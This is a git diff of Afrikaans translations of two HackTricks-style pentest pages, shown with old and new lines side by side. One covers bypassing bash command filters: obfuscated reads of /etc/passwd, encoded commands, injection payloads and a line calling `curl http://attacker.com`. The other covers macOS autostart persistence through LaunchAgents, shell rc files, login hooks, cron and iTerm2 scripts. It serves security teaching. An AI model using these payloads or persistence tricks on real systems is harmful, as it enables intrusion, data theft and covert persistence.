### Omgangspaaie en verbode woorde
### Bypass Paaie en verbode woorde
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -126,7 +127,7 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Oorbrug backslash en streepjie
### Bypass agterkant en streepje
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -135,7 +136,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Omgang met hekskodering
### Bypass met hekskodering
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -150,7 +151,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Decimal IPs
127.0.0.1 == 2130706433
```
### Tydgebaseerde data-eksfiltrering
### Tyd-gebaseerde data-eksfiltrering
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
@ -165,7 +166,7 @@ Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
### Ingeboude funksies
In die geval waar jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
In die geval waar jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude funksies kan gebruik nie**, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
```bash
# Get list of builtins
@ -223,7 +224,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Oorloop moontlike regexes
### Bypass potensiële regexe
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -233,7 +234,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE met 5 karakters
### RKE met 5 karakters
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -315,15 +316,15 @@ ln /f*
'sh x'
'sh g'
```
## Lees-Slegs/Noexec/Distroless Omgang
## Lees-Slegs/Geen Uitvoer/Beperkte Distro Bypass
Indien jy binne 'n lêersisteem met die **lees-slegs en noexec-beskermings** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre bineêre, selfs 'n skaal, uit te voer:**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot & ander Jails Omgang
## Chroot & ander Gevangenisse Bypass
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -339,21 +340,22 @@ Indien jy binne 'n lêersisteem met die **lees-slegs en noexec-beskermings** of
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,69 +1,70 @@
# macOS Selfbegin
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
Hierdie afdeling is sterk gebaseer op die blogreeks [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), die doel is om **meer Selfbeginlokasies** by te voeg (indien moontlik), aan te dui **watter tegnieke steeds werk** met die nuutste weergawe van macOS (13.4) en om die **toestemmings** wat nodig is, te spesifiseer.
## Sandbox Oorspring
## Sandbox Omgang
{% hint style="success" %}
Hier kan jy selfbeginlokasies vind wat nuttig is vir **sandbox-oorbrugging** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en te **wag** vir 'n baie **gewone aksie**, 'n bepaalde **hoeveelheid tyd** of 'n **aksie wat jy gewoonlik kan uitvoer** van binne 'n sandbox sonder om root-toestemmings te benodig.
Hier kan jy selfbeginlokasies vind wat nuttig is vir **sandbox omgang** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en te **wag** vir 'n baie **gewone** **aksie**, 'n bepaalde **hoeveelheid tyd** of 'n **aksie wat jy gewoonlik kan uitvoer** van binne 'n sandbox sonder om root-toestemmings nodig te hê.
{% endhint %}
### Launchd
* Nuttig vir oorbrugging van sandbox: [](https://emojipedia.org/check-mark-button)
* TCC Oorbrugging: [🔴](https://emojipedia.org/large-red-circle)
* Nuttig vir sandbox omgang: [](https://emojipedia.org/check-mark-button)
* TCC Omgang: [🔴](https://emojipedia.org/large-red-circle)
#### Lokasies
* **`/Library/LaunchAgents`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
* Root benodig
* **`/Library/LaunchDaemons`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
* Root benodig
* **`/System/Library/LaunchAgents`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
* Root benodig
* **`/System/Library/LaunchDaemons`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
* Root benodig
* **`~/Library/LaunchAgents`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
* **`~/Library/LaunchDemons`**
* **Aansporing**: Herlaai
* **Trigger**: Herlaai
{% hint style="success" %}
As 'n interessante feit het **`launchd`** 'n ingeslote eienskapslys in 'n die Mach-o-seksie `__Text.__config` wat ander bekende dienste bevat wat launchd moet begin. Verder kan hierdie dienste die `RequireSuccess`, `RequireRun` en `RebootOnSuccess` bevat wat beteken dat hulle moet loop en suksesvol voltooi moet word.
As 'n interessante feit, het **`launchd`** 'n ingebedde eienskapslys in 'n die Mach-o-afdeling `__Text.__config` wat ander bekende dienste bevat wat launchd moet begin. Verder kan hierdie dienste die `RequireSuccess`, `RequireRun` en `RebootOnSuccess` bevat wat beteken dat hulle moet hardloop en suksesvol voltooi moet word.
Natuurlik kan dit nie gewysig word nie as gevolg van kodesondertekening.
{% endhint %}
#### Beskrywing & Uitbuiting
**`launchd`** is die **eerste** **proses** wat deur die OX S-kernel by opstart uitgevoer word en die laaste om by afsluiting te eindig. Dit moet altyd die **PID 1** hê. Hierdie proses sal die konfigurasies wat in die **ASEP** **plists** aangedui word, **lees en uitvoer** in:
**`launchd`** is die **eerste** **proses** wat deur OX S-kernel by aanvang uitgevoer word en die laaste om af te sluit by afsluiting. Dit behoort altyd die **PID 1** te hê. Hierdie proses sal die konfigurasies wat in die **ASEP** **plists** aangedui word, **lees en uitvoer** in:
* `/Library/LaunchAgents`: Per-gebruiker-agente geïnstalleer deur die administrateur
* `/Library/LaunchDaemons`: Stelselwye duiwels geïnstalleer deur die administrateur
* `/System/Library/LaunchAgents`: Per-gebruiker-agente voorsien deur Apple.
* `/System/Library/LaunchDaemons`: Stelselwye duiwels voorsien deur Apple.
* `/Library/LaunchAgents`: Per-gebruiker-agente wat deur die administrateur geïnstalleer is
* `/Library/LaunchDaemons`: Stelselwye duiwels wat deur die administrateur geïnstalleer is
* `/System/Library/LaunchAgents`: Per-gebruiker-agente wat deur Apple voorsien word.
* `/System/Library/LaunchDaemons`: Stelselwye duiwels wat deur Apple voorsien word.
Wanneer 'n gebruiker aanmeld, word die plists wat in `/Users/$USER/Library/LaunchAgents` en `/Users/$USER/Library/LaunchDemons` geleë is, gestart met die **toestemmings van die aangemelde gebruikers**.
Die **hoofverskil tussen agente en duiwels is dat agente gelaai word wanneer die gebruiker aanmeld en die duiwels by stelselopstart gelaai word** (aangesien daar dienste soos ssh is wat uitgevoer moet word voordat enige gebruiker toegang tot die stelsel kry). Agente kan ook GUI gebruik terwyl duiwels in die agtergrond moet loop.
Die **hoofverskil tussen agente en duiwels is dat agente gelaai word wanneer die gebruiker aanmeld en die duiwels gelaai word by stelselbegin** (aangesien daar dienste soos ssh is wat uitgevoer moet word voordat enige gebruiker toegang tot die stelsel kry). Agente kan ook GUI gebruik terwyl duiwels in die agtergrond moet hardloop.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -100,65 +101,65 @@ Lys alle agents en daemons wat deur die huidige gebruiker gelaai is:
launchctl list
```
{% hint style="warning" %}
Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stelselwydige gids, sal die taak as die gebruiker uitgevoer word en nie as root nie. Dit kan sommige voorregskaleringaanvalle voorkom.
Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stelselwyde gids, sal die taak as die gebruiker uitgevoer word en nie as 'n wortel nie. Dit kan sommige voorregskaleringaanvalle voorkom.
{% endhint %}
#### Meer inligting oor launchd
**`launchd`** is die **eerste** gebruikermodusproses wat vanaf die **kernel** begin word. Die prosesbegin moet **suksesvol** wees en dit **kan nie afsluit of vasloop nie**. Dit is selfs **beskerm** teen sekere **doodmaakseinne**.
**`launchd`** is die **eerste** gebruikermodusproses wat vanaf die **kernel** begin word. Die prosesbegin moet **suksesvol** wees en dit **kan nie afsluit of vasloop nie**. Dit is selfs **beskerm** teen sommige **doodmaakseinne**.
Een van die eerste dinge wat `launchd` sou doen, is om al die **daemons** te **begin**, soos:
- **Tymerdaemons** gebaseer op tyd om uitgevoer te word:
- atd (`com.apple.atrun.plist`): Het 'n `StartInterval` van 30 minute
- crond (`com.apple.systemstats.daily.plist`): Het `StartCalendarInterval` om 00:15 te begin
- **Netwerkdaemons** soos:
- `org.cups.cups-lpd`: Luister in TCP (`SockType: stream`) met `SockServiceName: printer`
- &#x20;SockServiceName moet óf 'n poort wees óf 'n diens vanaf `/etc/services`
- `com.apple.xscertd.plist`: Luister op TCP in poort 1640
- **Paddaemons** wat uitgevoer word wanneer 'n gespesifiseerde pad verander:
- `com.apple.postfix.master`: Kontroleer die pad `/etc/postfix/aliases`
- **IOKit-kennisgewingsdaemons**:
- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
- **Mach-poort:**
- `com.apple.xscertd-helper.plist`: Dit dui in die `MachServices` inskrywing die naam `com.apple.xscertd.helper` aan
- **UserEventAgent:**
- Dit verskil van die vorige een. Dit laat launchd programme spawn in reaksie op spesifieke gebeurtenisse. Die hoof binêre betrokke is egter nie `launchd` nie, maar `/usr/libexec/UserEventAgent`. Dit laai plugins vanaf die SIP-beperkte gids `/System/Library/UserEventPlugins/` waar elke plugin sy inisialiseerder aandui in die `XPCEventModuleInitializer` sleutel of, in die geval van ouer plugins, in die `CFPluginFactories` woordeboek onder die sleutel `FB86416D-6164-2070-726F-70735C216EC0` van sy `Info.plist`.
* **Tydsaanduidingsdaemons** gebaseer op tyd om uitgevoer te word:
* atd (`com.apple.atrun.plist`): Het 'n `StartInterval` van 30 minute
* crond (`com.apple.systemstats.daily.plist`): Het `StartCalendarInterval` om 00:15 te begin
* **Netwerkdaemons** soos:
* `org.cups.cups-lpd`: Luister in TCP (`SockType: stream`) met `SockServiceName: printer`
* &#x20;SockServiceName moet óf 'n poort wees óf 'n diens vanaf `/etc/services`
* `com.apple.xscertd.plist`: Luister op TCP in poort 1640
* **Paddaemons** wat uitgevoer word wanneer 'n gespesifiseerde pad verander:
* `com.apple.postfix.master`: Kontroleer die pad `/etc/postfix/aliases`
* **IOKit-kennisgewingsdaemons**:
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Mach-poort:**
* `com.apple.xscertd-helper.plist`: Dit dui in die `MachServices` inskrywing die naam `com.apple.xscertd.helper` aan
* **UserEventAgent:**
* Dit verskil van die vorige een. Dit laat launchd programme spawn in reaksie op spesifieke gebeurtenisse. In hierdie geval is die hoof binêre betrokke nie `launchd` nie, maar `/usr/libexec/UserEventAgent`. Dit laai plugins vanaf die SIP-beperkte gids /System/Library/UserEventPlugins/ waar elke plugin sy inisialiseerder aandui in die `XPCEventModuleInitializer` sleutel of, in die geval van ouer plugins, in die `CFPluginFactories` woordeboek onder die sleutel `FB86416D-6164-2070-726F-70735C216EC0` van sy `Info.plist`.
### skulpaanvang lêers
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Bespreking (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
- Nuttig om sandkas te omseil: [](https://emojipedia.org/check-mark-button)
- TCC Omseiling: [](https://emojipedia.org/check-mark-button)
- Maar jy moet 'n program met 'n TCC-omseiling vind wat 'n skulpaanvang uitvoer wat hierdie lêers laai
* Nuttig om sandput te omseil: [](https://emojipedia.org/check-mark-button)
* TCC Omseiling: [](https://emojipedia.org/check-mark-button)
* Maar jy moet 'n program met 'n TCC-omseiling vind wat 'n skaal uitvoer wat hierdie lêers laai
#### Liggings
- **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
- **Trigger**: Maak 'n terminal oop met zsh
- **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
- **Trigger**: Maak 'n terminal oop met zsh
- Root benodig
- **`~/.zlogout`**
- **Trigger**: Sluit 'n terminal met zsh
- **`/etc/zlogout`**
- **Trigger**: Sluit 'n terminal met zsh
- Root benodig
- Moontlik meer in: **`man zsh`**
- **`~/.bashrc`**
- **Trigger**: Maak 'n terminal oop met bash
- `/etc/profile` (het nie gewerk nie)
- `~/.profile` (het nie gewerk nie)
- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
- **Trigger**: Verwag om met xterm te aktiveer, maar dit **is nie geïnstalleer** nie en selfs nadat dit geïnstalleer is, word hierdie fout gegooi: xterm: `DISPLAY is not set`
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Trigger**: Maak 'n terminaal oop met zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Trigger**: Maak 'n terminaal oop met zsh
* Wortel benodig
* **`~/.zlogout`**
* **Trigger**: Sluit 'n terminaal met zsh
* **`/etc/zlogout`**
* **Trigger**: Sluit 'n terminaal met zsh
* Wortel benodig
* Moontlik meer in: **`man zsh`**
* **`~/.bashrc`**
* **Trigger**: Maak 'n terminaal oop met bash
* `/etc/profile` (het nie gewerk nie)
* `~/.profile` (het nie gewerk nie)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Trigger**: Verwag om met xterm te aktiveer, maar dit **is nie geïnstalleer** nie en selfs nadat dit geïnstalleer is, word hierdie fout gegooi: xterm: `DISPLAY is not set`
#### Beskrywing & Uitbuiting
Wanneer 'n skulpaanvangomgewing soos `zsh` of `bash` geïnisieer word, **word sekere aanvanglêers uitgevoer**. macOS gebruik tans `/bin/zsh` as die verstekskul. Hierdie skul word outomaties benader wanneer die Terminal-toepassing geloods word of wanneer 'n toestel via SSH benader word. Alhoewel `bash` en `sh` ook teenwoordig is in macOS, moet hulle uitdruklik aangeroep word om gebruik te word.
Wanneer 'n skaalomgewing soos `zsh` of `bash` geïnisieer word, word **sekere aanvangslêers uitgevoer**. macOS gebruik tans `/bin/zsh` as die verstek skaal. Hierdie skaal word outomaties benader wanneer die Terminaaltoepassing geloods word of wanneer 'n toestel via SSH benader word. Alhoewel `bash` en `sh` ook teenwoordig is in macOS, moet hulle uitdruklik aangeroep word om gebruik te word.
Die manbladsy van zsh, wat ons kan lees met **`man zsh`**, het 'n lang beskrywing van die aanvanglêers.
Die manbladsy van zsh, wat ons kan lees met **`man zsh`** het 'n lang beskrywing van die aanvangslêers.
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
@ -255,7 +256,7 @@ Jy kan dit van die opdraggelynstelsel toevoeg met:
### Terminal Skripte / Ander lêeruitbreidings
* Nuttig om sanderblok te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Terminal gebruik om FDA-toestemmings van die gebruiker te hê
@ -358,10 +359,10 @@ Dit het nie vir my gewerk nie, nie met die gebruiker LoginHook nie of met die wo
#### Ligging
* Jy moet iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` kan uitvoer
* Jy moet in staat wees om iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` uit te voer
* Geleë in `~/Library/Preferences/com.apple.loginwindow.plist`
Hulle is verouderd maar kan gebruik word om bevele uit te voer wanneer 'n gebruiker aanmeld.
Hulle is verouderd maar kan gebruik word om opdragte uit te voer wanneer 'n gebruiker aanmeld.
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
@ -390,30 +391,30 @@ defaults delete com.apple.loginwindow LogoutHook
```
Die root-gebruiker een is gestoor in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Voorwaardelike Sandbox Oorskryding
## Voorwaardelike Sandbox Oorslaan
{% hint style="success" %}
Hier kan jy beginlokasies vind wat nuttig is vir **sandbox-oorskryding** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en **nie baie algemene toestande** te verwag soos spesifieke **geïnstalleerde programme, "ongewone" gebruiker** aksies of omgewings.
Hier kan jy beginlokasies vind wat nuttig is vir **sandbox-omseiling** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en **nie baie algemene toestande** te verwag soos spesifieke **geïnstalleerde programme, "ongewone" gebruiker** aksies of omgewings.
{% endhint %}
### Cron
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Nuttig vir oorskryding van sandbox: [](https://emojipedia.org/check-mark-button)
* Nuttig vir omseiling van sandbox: [](https://emojipedia.org/check-mark-button)
* Jy moet egter in staat wees om die `crontab` binêre lêer uit te voer
* Of wees root
* TCC-oorskryding: [🔴](https://emojipedia.org/large-red-circle)
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Lokasie
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Root benodig vir direkte skryftoegang. Geen root nodig as jy `crontab <lêer>` kan uitvoer nie
* **Trigger**: Afhangende van die cron taak
* Root benodig vir direkte skryftoegang. Geen root benodig as jy `crontab <lêer>` kan uitvoer nie
* **Trigger**: Afhangende van die cron-werk
#### Beskrywing & Uitbuiting
Lys die cron take van die **huidige gebruiker** met:
Lys die cron-werk van die **huidige gebruiker** met:
```bash
crontab -l
```
@ -433,7 +434,7 @@ crontab /tmp/cron
```
### iTerm2
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
@ -463,7 +464,7 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
#### Login Items
Login items are applications that run automatically when a user logs in. They can be managed in **System Preferences** > **Users & Groups** > **Login Items**.
Login items are applications that run automatically when a user logs in. Users can manage login items in **System Preferences > Users & Groups > Login Items**.
#### Launch Agents
@ -471,11 +472,11 @@ Launch agents are used to run tasks when a user logs in. They are located in `~/
#### Launch Daemons
Launch daemons are system-wide services that run at boot time. They are located in `/Library/LaunchDaemons/`.
Launch daemons are system-wide services that run regardless of which user is logged in. They are located in `/Library/LaunchDaemons/`.
#### Startup Items
Startup items are legacy items that are deprecated in macOS. They were located in `/Library/StartupItems/`.
Startup items are legacy items that automatically launch when a system starts up. They are deprecated and not recommended for use.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -496,7 +497,7 @@ Die skrip **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** sal
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Die iTerm2-voorkeure geleë in **`~/Library/Preferences/com.googlecode.iterm2.plist`** kan **'n bevel aandui om uit te voer** wanneer die iTerm2-terminal oopgemaak word.
Die iTerm2-voorkeure geleë in **`~/Library/Preferences/com.googlecode.iterm2.plist`** kan **'n bevel aandui om uit te voer** wanneer die iTerm2-terminal geopen word.
Hierdie instelling kan in die iTerm2-instellings gekonfigureer word:
@ -528,7 +529,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
Hoogs waarskynlik is daar **ander maniere om die iTerm2-voorkeure** te misbruik om willekeurige bevele uit te voer.
Hoogs waarskynlik dat daar **ander maniere is om die iTerm2-voorkeure** te misbruik om willekeurige bevele uit te voer.
{% endhint %}
### xbar
@ -543,7 +544,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
#### Ligging
* **`~/Library/Application\ Support/xbar/plugins/`**
* **Trigger**: Sodra xbar uitgevoer word
* **Trigger**: Eenmaal xbar uitgevoer word
#### Beskrywing
@ -571,7 +572,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Beskrywing
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Merkwaardig genoeg ondersteun dit die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Dit ondersteun veral die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
Die program soek na 'n enkele lêer, `~/.hammerspoon/init.lua`, en wanneer dit begin word die skrip uitgevoer.
```bash
@ -582,35 +583,35 @@ EOF
```
### BetterTouchTool
* Nuttig om sander te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar BetterTouchTool moet geïnstalleer wees
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Dit vra om Toestemming vir Automatisering-Snelkoppeling en Toeganklikheid
* Dit vra Automation-Shortcuts en Toeganklikheidsregte
#### Ligging
* `~/Library/Application Support/BetterTouchTool/*`
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui wat uitgevoer moet word wanneer sekere snelkoppeling gedruk word. 'n Aanvaller kan sy eie **snelkoppeling en aksie om in die databasis uit te voer** configureer om dit arbitêre kode te laat uitvoer ( 'n snelkoppeling kan net wees om 'n sleutel te druk).
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui om uit te voer wanneer sekere snelkoppelinge gedruk word. 'n Aanvaller kan sy eie **snelkoppeling en aksie om in die databasis uit te voer** configureer om dit arbitêre kode uit te voer ( 'n snelkoppeling kan net wees om 'n sleutel te druk).
### Alfred
* Nuttig om sander te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar Alfred moet geïnstalleer wees
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* Dit vra om Automatisering, Toeganklikheid en selfs Volle-Skyf toegangstoestemming
* Dit vra Automation, Toeganklikheids- en selfs Volle-Skyf-toegangregte
#### Ligging
